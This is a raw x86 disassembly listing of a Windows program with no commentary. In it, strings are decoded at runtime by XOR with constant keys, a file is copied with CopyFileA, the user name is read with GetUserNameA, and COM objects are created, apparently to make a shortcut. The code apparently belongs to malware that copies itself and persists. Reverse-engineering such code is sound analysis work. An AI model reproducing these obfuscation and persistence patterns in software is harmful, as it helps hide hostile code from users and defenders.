movaps xmm0, xmmword [ebp - 0x780]
movaps xmmword [ebp - 0xaa0], xmm0
movaps xmm0, xmmword [ebp - 0x530]
movaps xmmword [ebp - 0xa90], xmm0
movaps xmm0, xmmword [ebp - 0xa90]
xorps xmm0, xmmword [ebp - 0xaa0]
movaps xmmword [ebp - 0xab0], xmm0
movaps xmm0, xmmword [ebp - 0xab0]
movaps xmmword [ebp - 0x530], xmm0
lea eax, [ebp - 0x530]
mov dword [ebp - 0x288], eax
xor ecx, ecx
mov byte [ebp - 0x4c], cl
xor edx, edx
mov byte [ebp - 0x4d], dl
xor eax, eax
mov byte [ebp - 0x4e], al
mov cl, byte [ebp - 0x4c]
mov byte [ebp - 0x128], cl
mov dl, byte [ebp - 0x4d]
mov byte [ebp - 0x12c], dl
mov al, byte [ebp - 0x4e]
mov byte [ebp - 0x130], al
mov ecx, 0xa25da8a6
mov dword [ebp - 0x540], 0xc612ac81
mov dword [ebp - 0x53c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x538], 0x94051cce
mov dword [ebp - 0x534], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x800], 0xc612acdd
mov dword [ebp - 0x7fc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x7f8], 0x94051cce
mov dword [ebp - 0x7f4], ecx
xor edx, edx
mov byte [ebp - 0x4f], dl
mov al, byte [ebp - 0x4f]
mov byte [ebp - 0x134], al
movaps xmm0, xmmword [ebp - 0x800]
movaps xmmword [ebp - 0xad0], xmm0
movaps xmm0, xmmword [ebp - 0x540]
movaps xmmword [ebp - 0xac0], xmm0
movaps xmm0, xmmword [ebp - 0xac0]
xorps xmm0, xmmword [ebp - 0xad0]
movaps xmmword [ebp - 0xae0], xmm0
movaps xmm0, xmmword [ebp - 0xae0]
movaps xmmword [ebp - 0x540], xmm0
push 0x489604
lea ecx, [ebp - 0x540]
push ecx
lea edx, [ebp - 0xee8]
push edx
call fcn.00418240
add esp, 0xc
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0x338], eax
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x338]
mov dword [ebp - 0x344], ecx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x288]
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xbc]
add eax, 1
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0xbc]
mov dl, byte [ecx]
mov byte [ebp - 0x50], dl
add dword [ebp - 0xbc], 1
cmp byte [ebp - 0x50], 0
jne 0x406e58
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0x33c]
mov dword [ebp - 0x340], eax
mov ecx, dword [ebp - 0x340]
push ecx
mov edx, dword [ebp - 0x288]
push edx
mov ecx, dword [ebp - 0x344]
call fcn.00416320
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
push eax
lea ecx, [ebp - 0x9d0]
call fcn.004129f0
mov dword [ebp - 0x8dc], eax
mov ecx, dword [ebp - 0x14]
or ecx, 0x40
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x9d0]
mov dword [ebp - 0x34c], edx
mov eax, dword [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x8a8]
call fcn.00412850
and dword [ebp - 0x14], 0xffffffbf
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x9d0]
call fcn.00415fd0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x9d0]
mov dword [ebp - 0x8e4], ecx
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xee8]
call fcn.00415fd0
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0xee8]
mov dword [ebp - 0x948], edx
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x19
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8e8], esp
lea eax, [ebp - 0x8a8]
push eax
call fcn.00412ca0
mov dword [ebp - 0x8ec], eax
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x19
mov ecx, dword [0x489514]
call fcn.00405520
mov byte [ebp - 0x51], al
movzx ecx, byte [ebp - 0x51]
test ecx, ecx
jne 0x4070b8
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x4070b8
lea edx, [ebp - 0x18]
push edx
push 0x46f2a0
push 1
push 0
push 0x46f2c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4070b2
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
mov dword [ebp - 0x354], edx
lea ecx, [ebp - 0x5c8]
call fcn.00412710
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x350]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [ebp - 0x354]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x35c], ecx
mov ecx, 0x489604
call fcn.00412710
mov dword [ebp - 0x358], eax
mov edx, dword [ebp - 0x358]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x360], eax
lea ecx, [ebp - 0xd8]
push ecx
push 0x46f2b0
mov edx, dword [ebp - 0x18]
push edx
call dword [ebp - 0x360]
test eax, eax
jl 0x4070a4
push 0x208
push 0
lea eax, [ebp - 0x1498]
push eax
call fcn.00445020
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x1498]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x8a8]
call fcn.00412710
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x364], ecx
push 1
lea edx, [ebp - 0x1498]
push edx
mov eax, dword [ebp - 0xd8]
push eax
call dword [ebp - 0x364]
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xd8]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [eax + 8]
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8a8]
call fcn.00415fd0
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x8a8]
mov dword [ebp - 0x8f0], eax
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x5c8]
call fcn.00415fd0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 0x8f4], ecx
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0xe
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x5f8]
call fcn.00415fd0
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5f8]
mov dword [ebp - 0x8f8], edx
mov byte [ebp - 4], 0x2a
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0
xor eax, eax
mov byte [ebp - 0x52], al
xor ecx, ecx
mov byte [ebp - 0x53], cl
xor edx, edx
mov byte [ebp - 0x54], dl
mov al, byte [ebp - 0x52]
mov byte [ebp - 0x138], al
mov cl, byte [ebp - 0x53]
mov byte [ebp - 0x13c], cl
mov dl, byte [ebp - 0x54]
mov byte [ebp - 0x140], dl
mov eax, 0xf10fedf5
mov dword [ebp - 0x550], 0x935ee09c
mov dword [ebp - 0x54c], eax
mov ecx, 0xc5270310
mov dword [ebp - 0x548], 0xd24a4e9e
mov dword [ebp - 0x544], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x7b0], 0xc612acdd
mov dword [ebp - 0x7ac], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x7a8], 0x94051cce
mov dword [ebp - 0x7a4], eax
xor ecx, ecx
mov byte [ebp - 0x55], cl
mov dl, byte [ebp - 0x55]
mov byte [ebp - 0x144], dl
movaps xmm0, xmmword [ebp - 0x7b0]
movaps xmmword [ebp - 0xb00], xmm0
movaps xmm0, xmmword [ebp - 0x550]
movaps xmmword [ebp - 0xaf0], xmm0
movaps xmm0, xmmword [ebp - 0xaf0]
xorps xmm0, xmmword [ebp - 0xb00]
movaps xmmword [ebp - 0xb10], xmm0
movaps xmm0, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0x550], xmm0
lea eax, [ebp - 0x550]
push eax
call fcn.00452da6
add esp, 4
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
je 0x4088c6
mov ecx, 1
test ecx, ecx
je 0x4088c6
lea edx, [ebp - 0x610]
mov dword [ebp - 0x368], edx
mov ecx, dword [ebp - 0x368]
call fcn.0041d6d0
mov byte [ebp - 4], 0x2c
mov byte [ebp - 4], 0x2d
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0xc0]
add ecx, 1
mov dword [ebp - 0x36c], ecx
mov edx, dword [ebp - 0xc0]
mov al, byte [edx]
mov byte [ebp - 0x56], al
add dword [ebp - 0xc0], 1
cmp byte [ebp - 0x56], 0
jne 0x40726d
mov ecx, dword [ebp - 0xc0]
sub ecx, dword [ebp - 0x36c]
mov dword [ebp - 0x370], ecx
mov edx, dword [ebp - 0x370]
push edx
mov eax, dword [ebp - 0x254]
push eax
lea ecx, [ebp - 0x610]
call fcn.00419b30
mov byte [ebp - 4], 0x2e
xor ecx, ecx
mov byte [ebp - 0x57], cl
xor edx, edx
mov byte [ebp - 0x58], dl
xor eax, eax
mov byte [ebp - 0x59], al
mov cl, byte [ebp - 0x57]
mov byte [ebp - 0x148], cl
mov dl, byte [ebp - 0x58]
mov byte [ebp - 0x14c], dl
mov al, byte [ebp - 0x59]
mov byte [ebp - 0x150], al
mov ecx, 0xa25da8a6
mov dword [ebp - 0x560], 0xc612ac81
mov dword [ebp - 0x55c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x558], 0x94051cce
mov dword [ebp - 0x554], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x7c0], 0xc612acdd
mov dword [ebp - 0x7bc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x7b8], 0x94051cce
mov dword [ebp - 0x7b4], ecx
xor edx, edx
mov byte [ebp - 0x5a], dl
mov al, byte [ebp - 0x5a]
mov byte [ebp - 0x154], al
movaps xmm0, xmmword [ebp - 0x7c0]
movaps xmmword [ebp - 0xb30], xmm0
movaps xmm0, xmmword [ebp - 0x560]
movaps xmmword [ebp - 0xb20], xmm0
movaps xmm0, xmmword [ebp - 0xb20]
xorps xmm0, xmmword [ebp - 0xb30]
movaps xmmword [ebp - 0xb40], xmm0
movaps xmm0, xmmword [ebp - 0xb40]
movaps xmmword [ebp - 0x560], xmm0
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x28c], ecx
mov edx, dword [ebp - 0x28c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x374], eax
mov ecx, dword [ebp - 0x90]
mov dl, byte [ecx]
mov byte [ebp - 0x5b], dl
add dword [ebp - 0x90], 1
cmp byte [ebp - 0x5b], 0
jne 0x4073a6
mov eax, dword [ebp - 0x90]
sub eax, dword [ebp - 0x374]
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x378]
push ecx
mov edx, dword [ebp - 0x28c]
push edx
lea ecx, [ebp - 0x610]
call fcn.00416320
push 0x489574
lea ecx, [ebp - 0x610]
call fcn.00412850
lea ecx, [ebp - 0x610]
call fcn.00412710
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
push eax
mov ecx, dword [0x489514]
call fcn.00405490
movzx ecx, al
test ecx, ecx
jne 0x4074e7
lea ecx, [ebp - 0x610]
call fcn.00412710
mov dword [ebp - 0x290], eax
lea edx, [ebp - 0x9a0]
mov dword [ebp - 0x380], edx
mov ecx, dword [ebp - 0x380]
call fcn.0041d6d0
mov byte [ebp - 4], 0x2f
mov byte [ebp - 4], 0x30
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
add ecx, 1
mov dword [ebp - 0x384], ecx
mov edx, dword [ebp - 0xc4]
mov al, byte [edx]
mov byte [ebp - 0x5c], al
add dword [ebp - 0xc4], 1
cmp byte [ebp - 0x5c], 0
jne 0x407472
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [ebp - 0x384]
mov dword [ebp - 0x388], ecx
mov edx, dword [ebp - 0x388]
push edx
mov eax, dword [ebp - 0x290]
push eax
lea ecx, [ebp - 0x9a0]
call fcn.00419b30
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x14]
or ecx, 2
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x9a0]
push edx
mov ecx, dword [0x489514]
call fcn.00404c50
movzx eax, al
test eax, eax
jne 0x4074e7
mov dword [ebp - 0x294], 0
jmp 0x4074f1
mov dword [ebp - 0x294], 1
mov cl, byte [ebp - 0x294]
mov byte [ebp - 0x5d], cl
mov dword [ebp - 4], 0x2e
mov edx, dword [ebp - 0x14]
and edx, 2
je 0x407538
and dword [ebp - 0x14], 0xfffffffd
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x9a0]
call fcn.00415fd0
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x9a0]
mov dword [ebp - 0x8fc], eax
mov byte [ebp - 4], 0x33
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x2e
movzx ecx, byte [ebp - 0x5d]
test ecx, ecx
je 0x40889b
lea edx, [ebp - 0x610]
push edx
lea ecx, [ebp - 0x474]
call fcn.00412ca0
mov byte [ebp - 4], 0x35
xor eax, eax
mov byte [ebp - 0x5e], al
xor ecx, ecx
mov byte [ebp - 0x5f], cl
xor edx, edx
mov byte [ebp - 0x60], dl
mov al, byte [ebp - 0x5e]
mov byte [ebp - 0x158], al
mov cl, byte [ebp - 0x5f]
mov byte [ebp - 0x15c], cl
mov dl, byte [ebp - 0x60]
mov byte [ebp - 0x160], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x4a0], 0xc612ac81
mov dword [ebp - 0x49c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x498], 0x94051cce
mov dword [ebp - 0x494], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x7d0], 0xc612acdd
mov dword [ebp - 0x7cc], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x7c8], 0x94051cce
mov dword [ebp - 0x7c4], eax
xor ecx, ecx
mov byte [ebp - 0x61], cl
mov dl, byte [ebp - 0x61]
mov byte [ebp - 0x164], dl
movaps xmm0, xmmword [ebp - 0x7d0]
movaps xmmword [ebp - 0xb60], xmm0
movaps xmm0, xmmword [ebp - 0x4a0]
movaps xmmword [ebp - 0xb50], xmm0
movaps xmm0, xmmword [ebp - 0xb50]
xorps xmm0, xmmword [ebp - 0xb60]
movaps xmmword [ebp - 0xb70], xmm0
movaps xmm0, xmmword [ebp - 0xb70]
movaps xmmword [ebp - 0x4a0], xmm0
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0x298], eax
mov ecx, dword [ebp - 0x298]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0x38c], edx
mov eax, dword [ebp - 0xc8]
mov cl, byte [eax]
mov byte [ebp - 0x62], cl
add dword [ebp - 0xc8], 1
cmp byte [ebp - 0x62], 0
jne 0x40764c
mov edx, dword [ebp - 0xc8]
sub edx, dword [ebp - 0x38c]
mov dword [ebp - 0x390], edx
mov eax, dword [ebp - 0x390]
push eax
mov ecx, dword [ebp - 0x298]
push ecx
lea ecx, [ebp - 0x474]
call fcn.00416320
push 0x489574
lea ecx, [ebp - 0x474]
call fcn.00412850
xor edx, edx
mov byte [ebp - 0x63], dl
xor eax, eax
mov byte [ebp - 0x64], al
xor ecx, ecx
mov byte [ebp - 0x65], cl
mov dl, byte [ebp - 0x63]
mov byte [ebp - 0x168], dl
mov al, byte [ebp - 0x64]
mov byte [ebp - 0x16c], al
mov cl, byte [ebp - 0x65]
mov byte [ebp - 0x170], cl
mov edx, 0xa25da8a6
mov dword [ebp - 0x570], 0xa36ac9f3
mov dword [ebp - 0x56c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x568], 0x94051cce
mov dword [ebp - 0x564], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x7e0], 0xc612acdd
mov dword [ebp - 0x7dc], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x7d8], 0x94051cce
mov dword [ebp - 0x7d4], edx
xor eax, eax
mov byte [ebp - 0x66], al
mov cl, byte [ebp - 0x66]
mov byte [ebp - 0x174], cl
movaps xmm0, xmmword [ebp - 0x7e0]
movaps xmmword [ebp - 0xb90], xmm0
movaps xmm0, xmmword [ebp - 0x570]
movaps xmmword [ebp - 0xb80], xmm0
movaps xmm0, xmmword [ebp - 0xb80]
xorps xmm0, xmmword [ebp - 0xb90]
movaps xmmword [ebp - 0xba0], xmm0
movaps xmm0, xmmword [ebp - 0xba0]
movaps xmmword [ebp - 0x570], xmm0
lea edx, [ebp - 0x570]
mov dword [ebp - 0x29c], edx
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0xcc]
add ecx, 1
mov dword [ebp - 0x394], ecx
mov edx, dword [ebp - 0xcc]
mov al, byte [edx]
mov byte [ebp - 0x67], al
add dword [ebp - 0xcc], 1
cmp byte [ebp - 0x67], 0
jne 0x407791
mov ecx, dword [ebp - 0xcc]
sub ecx, dword [ebp - 0x394]
mov dword [ebp - 0x398], ecx
mov edx, dword [ebp - 0x398]
push edx
mov eax, dword [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x474]
call fcn.00416320
lea ecx, [ebp - 0x474]
push ecx
mov ecx, dword [ebx + 8]
call fcn.00418db0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x900], esp
lea edx, [ebp - 0x474]
push edx
call fcn.00412ca0
mov dword [ebp - 0x904], eax
mov byte [ebp - 4], 0x36
mov byte [ebp - 4], 0x35
mov ecx, dword [0x489514]
call fcn.00405520
mov byte [ebp - 0x68], al
movzx eax, byte [ebp - 0x68]
test eax, eax
jne 0x408870
lea ecx, [ebp - 0x474]
call fcn.00412710
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x8c0]
call fcn.00412710
mov dword [ebp - 0x3a0], eax
push 1
mov ecx, dword [ebp - 0x39c]
push ecx
mov edx, dword [ebp - 0x3a0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x408870
mov dword [ebp - 0x3a4], 0x104
push 0x104
push 0
lea eax, [ebp - 0x1188]
push eax
call fcn.00445020
add esp, 0xc
lea ecx, [ebp - 0x3a4]
push ecx
lea edx, [ebp - 0x1188]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
mov byte [ebp - 0x69], al
xor ecx, ecx
mov byte [ebp - 0x6a], cl
xor edx, edx
mov byte [ebp - 0x6b], dl
mov al, byte [ebp - 0x69]
mov byte [ebp - 0x178], al
mov cl, byte [ebp - 0x6a]
mov byte [ebp - 0x17c], cl
mov dl, byte [ebp - 0x6b]
mov byte [ebp - 0x180], dl
mov eax, 0xc12e8786
mov dword [ebp - 0x630], 0xe440e4fd
mov dword [ebp - 0x62c], eax
mov ecx, 0xe53b030b
mov dword [ebp - 0x628], 0xc14a54ee
mov dword [ebp - 0x624], ecx
mov edx, 0x8b212964
mov dword [ebp - 0x620], 0xf316b80
mov dword [ebp - 0x61c], edx
mov eax, 0x2c729017
mov dword [ebp - 0x618], 0x9b21e815
mov dword [ebp - 0x614], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x830], 0xc612acdd
mov dword [ebp - 0x82c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x828], 0x94051cce
mov dword [ebp - 0x824], edx
mov eax, 0xc366602c
mov dword [ebp - 0x820], 0x2f5d19af
mov dword [ebp - 0x81c], eax
mov ecx, 0x2c729017
mov dword [ebp - 0x818], 0x9b75bb50
mov dword [ebp - 0x814], ecx
xor edx, edx
mov byte [ebp - 0x6c], dl
mov al, byte [ebp - 0x6c]
mov byte [ebp - 0x184], al
movaps xmm0, xmmword [ebp - 0x830]
movaps xmmword [ebp - 0xbc0], xmm0
movaps xmm0, xmmword [ebp - 0x630]
movaps xmmword [ebp - 0xbb0], xmm0
movaps xmm0, xmmword [ebp - 0xbb0]
xorps xmm0, xmmword [ebp - 0xbc0]
movaps xmmword [ebp - 0xbd0], xmm0
movaps xmm0, xmmword [ebp - 0xbd0]
movaps xmmword [ebp - 0x630], xmm0
lea ecx, [ebp - 0x620]
mov dword [ebp - 0x2a0], ecx
movaps xmm0, xmmword [ebp - 0x820]
movaps xmmword [ebp - 0xbf0], xmm0
mov edx, dword [ebp - 0x2a0]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xbe0], xmm0
movaps xmm0, xmmword [ebp - 0xbe0]
xorps xmm0, xmmword [ebp - 0xbf0]
movaps xmmword [ebp - 0xc00], xmm0
movaps xmm0, xmmword [ebp - 0xc00]
mov eax, dword [ebp - 0x2a0]
movups xmmword [eax], xmm0
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x3f8], ecx
xor edx, edx
mov byte [ebp - 0x6d], dl
xor eax, eax
mov byte [ebp - 0x6e], al
xor ecx, ecx
mov byte [ebp - 0x6f], cl
mov dl, byte [ebp - 0x6d]
mov byte [ebp - 0x188], dl
mov al, byte [ebp - 0x6e]
mov byte [ebp - 0x18c], al
mov cl, byte [ebp - 0x6f]
mov byte [ebp - 0x190], cl
mov edx, 0xa27f88c8
mov dword [ebp - 0x580], 0xb23d8cff
mov dword [ebp - 0x57c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x578], 0x94051cce
mov dword [ebp - 0x574], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x7f0], 0xc612acdd
mov dword [ebp - 0x7ec], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x7e8], 0x94051cce
mov dword [ebp - 0x7e4], edx
xor eax, eax
mov byte [ebp - 0x70], al
mov cl, byte [ebp - 0x70]
mov byte [ebp - 0x194], cl
movaps xmm0, xmmword [ebp - 0x7f0]
movaps xmmword [ebp - 0xc20], xmm0
movaps xmm0, xmmword [ebp - 0x580]
movaps xmmword [ebp - 0xc10], xmm0
movaps xmm0, xmmword [ebp - 0xc10]
xorps xmm0, xmmword [ebp - 0xc20]
movaps xmmword [ebp - 0xc30], xmm0
movaps xmm0, xmmword [ebp - 0xc30]
movaps xmmword [ebp - 0x580], xmm0
lea edx, [ebp - 0x580]
mov dword [ebp - 0x3e0], edx
xor eax, eax
mov byte [ebp - 0x71], al
xor ecx, ecx
mov byte [ebp - 0x72], cl
xor edx, edx
mov byte [ebp - 0x73], dl
mov al, byte [ebp - 0x71]
mov byte [ebp - 0x198], al
mov cl, byte [ebp - 0x72]
mov byte [ebp - 0x19c], cl
mov dl, byte [ebp - 0x73]
mov byte [ebp - 0x1a0], dl
mov eax, 0xa27f88d4
mov dword [ebp - 0x590], 0xb23d8cff
mov dword [ebp - 0x58c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x588], 0x94051cce
mov dword [ebp - 0x584], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x810], 0xc612acdd
mov dword [ebp - 0x80c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x808], 0x94051cce
mov dword [ebp - 0x804], eax
xor ecx, ecx
mov byte [ebp - 0x74], cl
mov dl, byte [ebp - 0x74]
mov byte [ebp - 0x1a4], dl
movaps xmm0, xmmword [ebp - 0x810]
movaps xmmword [ebp - 0xc50], xmm0
movaps xmm0, xmmword [ebp - 0x590]
movaps xmmword [ebp - 0xc40], xmm0
movaps xmm0, xmmword [ebp - 0xc40]
xorps xmm0, xmmword [ebp - 0xc50]
movaps xmmword [ebp - 0xc60], xmm0
movaps xmm0, xmmword [ebp - 0xc60]
movaps xmmword [ebp - 0x590], xmm0
lea eax, [ebp - 0x590]
mov dword [ebp - 0x3c8], eax
lea ecx, [ebp - 0x9b8]
mov dword [ebp - 0x3a8], ecx
mov ecx, dword [ebp - 0x3a8]
call fcn.0041d6d0
mov byte [ebp - 4], 0x37
mov byte [ebp - 4], 0x38
lea edx, [ebp - 0x1188]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0xd0]
add eax, 1
mov dword [ebp - 0x3ac], eax
mov ecx, dword [ebp - 0xd0]
mov dl, byte [ecx]
mov byte [ebp - 0x75], dl
add dword [ebp - 0xd0], 1
cmp byte [ebp - 0x75], 0
jne 0x407bf8
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b0], eax
mov ecx, dword [ebp - 0x3b0]
push ecx
lea edx, [ebp - 0x1188]
push edx
lea ecx, [ebp - 0x9b8]
call fcn.00419b30
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x9b8]
mov dword [ebp - 0x3b4], eax
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3b8], ecx
xor edx, edx
mov byte [ebp - 0x76], dl
xor eax, eax
mov byte [ebp - 0x77], al
xor ecx, ecx
mov byte [ebp - 0x78], cl
mov dl, byte [ebp - 0x76]
mov byte [ebp - 0x1a8], dl
mov al, byte [ebp - 0x77]
mov byte [ebp - 0x1ac], al
mov cl, byte [ebp - 0x78]
mov byte [ebp - 0x1b0], cl
mov edx, 0xd136dbc7
mov dword [ebp - 0x650], 0xb27acfae
mov dword [ebp - 0x64c], edx
mov eax, 0xa0162e3c
mov dword [ebp - 0x648], 0xe66633ee
mov dword [ebp - 0x644], eax
mov ecx, 0xe3333203
mov dword [ebp - 0x640], 0xf3b368f
mov dword [ebp - 0x63c], ecx
mov edx, 0x2c729017
mov dword [ebp - 0x638], 0x9b75bb72
mov dword [ebp - 0x634], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x850], 0xc612acdd
mov dword [ebp - 0x84c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x848], 0x94051cce
mov dword [ebp - 0x844], ecx
mov edx, 0xc366602c
mov dword [ebp - 0x840], 0x2f5d19af
mov dword [ebp - 0x83c], edx
mov eax, 0x2c729017
mov dword [ebp - 0x838], 0x9b75bb50
mov dword [ebp - 0x834], eax
xor ecx, ecx
mov byte [ebp - 0x79], cl
mov dl, byte [ebp - 0x79]
mov byte [ebp - 0x230], dl
movaps xmm0, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xc80], xmm0
movaps xmm0, xmmword [ebp - 0x650]
movaps xmmword [ebp - 0xc70], xmm0
movaps xmm0, xmmword [ebp - 0xc70]
xorps xmm0, xmmword [ebp - 0xc80]
movaps xmmword [ebp - 0xc90], xmm0
movaps xmm0, xmmword [ebp - 0xc90]
movaps xmmword [ebp - 0x650], xmm0
lea eax, [ebp - 0x640]
mov dword [ebp - 0x2a4], eax
movaps xmm0, xmmword [ebp - 0x840]
movaps xmmword [ebp - 0xcb0], xmm0
mov ecx, dword [ebp - 0x2a4]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xca0], xmm0
movaps xmm0, xmmword [ebp - 0xca0]
xorps xmm0, xmmword [ebp - 0xcb0]
movaps xmmword [ebp - 0xcc0], xmm0
movaps xmm0, xmmword [ebp - 0xcc0]
mov edx, dword [ebp - 0x2a4]
movups xmmword [edx], xmm0
lea eax, [ebp - 0x650]
mov dword [ebp - 0x3bc], eax
mov ecx, dword [ebp - 0x3b8]
push ecx
mov edx, dword [ebp - 0x3bc]
push edx
lea eax, [ebp - 0xf60]
push eax
call fcn.00418310
add esp, 0xc
mov dword [ebp - 0x3c0], eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x3c4], ecx
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3cc], edx
mov eax, dword [ebp - 0x3c8]
push eax
mov ecx, dword [ebp - 0x3cc]
push ecx
lea edx, [ebp - 0xf48]
push edx
call fcn.00418470
add esp, 0xc
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x3d4], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x474]
push ecx
mov edx, dword [ebp - 0x3d4]
push edx
lea eax, [ebp - 0xf30]
push eax
call fcn.00418500
add esp, 0xc
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x3d8]
mov dword [ebp - 0x3dc], ecx
mov byte [ebp - 4], 0x3c
mov edx, dword [ebp - 0x3dc]
mov dword [ebp - 0x3e4], edx
mov eax, dword [ebp - 0x3e0]
push eax
mov ecx, dword [ebp - 0x3e4]
push ecx
lea edx, [ebp - 0xf18]
push edx
call fcn.00418470
add esp, 0xc
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3ec], eax
mov byte [ebp - 4], 0x3d
push 0x489574
mov ecx, dword [ebp - 0x3ec]
push ecx
lea edx, [ebp - 0xf00]
push edx
call fcn.00418500
add esp, 0xc
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x3f4], eax
mov byte [ebp - 4], 0x3e
